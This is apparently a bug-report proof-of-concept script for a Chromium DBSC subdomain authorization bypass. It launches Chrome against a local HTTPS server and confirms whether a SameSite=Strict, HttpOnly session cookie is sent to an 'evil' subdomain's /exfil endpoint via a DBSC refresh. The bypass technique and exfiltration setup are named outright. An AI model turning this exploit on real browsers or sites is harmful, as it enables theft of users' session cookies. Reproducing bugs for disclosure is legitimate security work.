#!/bin/bash
# DBSC subdomain authorization bypass — cookie exfiltration POC.
#
# Usage: ./run.sh [/path/to/chrome]
set -e

HERE="$(cd "$(dirname "$0")" && pwd)"
CHROME="${1:-/chromium/chromium/src/out/asan/chrome}"
PORT=8443
SITE=victim-dbsc-poc.com
PROFILE=/tmp/chrome-dbsc-poc-profile

cd "$HERE"
rm -rf "$PROFILE"
rm -f exfil.log server.log chrome.log

echo "[*] starting attacker/victim multi-origin HTTPS server..."
python3 server.py > server.stdout 2>&1 &
SRV=$!
trap 'kill $SRV 2>/dev/null || true' EXIT
sleep 2

# DeviceBoundSessions is FEATURE_ENABLED_BY_DEFAULT on Windows. We enable it
# explicitly on Linux to reproduce the production-Windows configuration. This
# is not a security gate for the bug — the .well-known subdomain check
# (CheckSubdomainRegistration) defaults to true and is left untouched.
FLAGS=(
  --no-sandbox
  --no-first-run
  --no-default-browser-check
  --disable-gpu
  --enable-features=DeviceBoundSessions
  --user-data-dir="$PROFILE"
  --host-resolver-rules="MAP *.${SITE} 127.0.0.1"
  --ignore-certificate-errors
  --enable-logging=stderr
  --v=1
)

echo "[*] launching chrome..."
timeout 30s "$CHROME" "${FLAGS[@]}" \
  "https://login.${SITE}:${PORT}/step1_setcookie" \
  > chrome.log 2>&1 || true

sleep 1
echo
echo "================== server log =================="
cat server.log 2>/dev/null || true
echo
echo "================== exfil log ==================="
if [ -s exfil.log ]; then
  cat exfil.log
  if grep -q "SECRET_TOKEN_12345_SHOULD_NEVER_REACH_EVIL" exfil.log; then
    echo
    echo "[+] VULNERABILITY CONFIRMED:"
    echo "    SameSite=Strict; HttpOnly; Secure; Domain=${SITE} cookie was"
    echo "    delivered to https://evil.${SITE}:${PORT}/exfil via a DBSC"
    echo "    refresh request, despite the .well-known subdomain check being"
    echo "    enabled (it was bypassed by include_site=false + spoofed"
    echo "    scope.origin)."
    exit 0
  fi
fi
echo "[!] exfil not observed — see server.log / chrome.log"
exit 1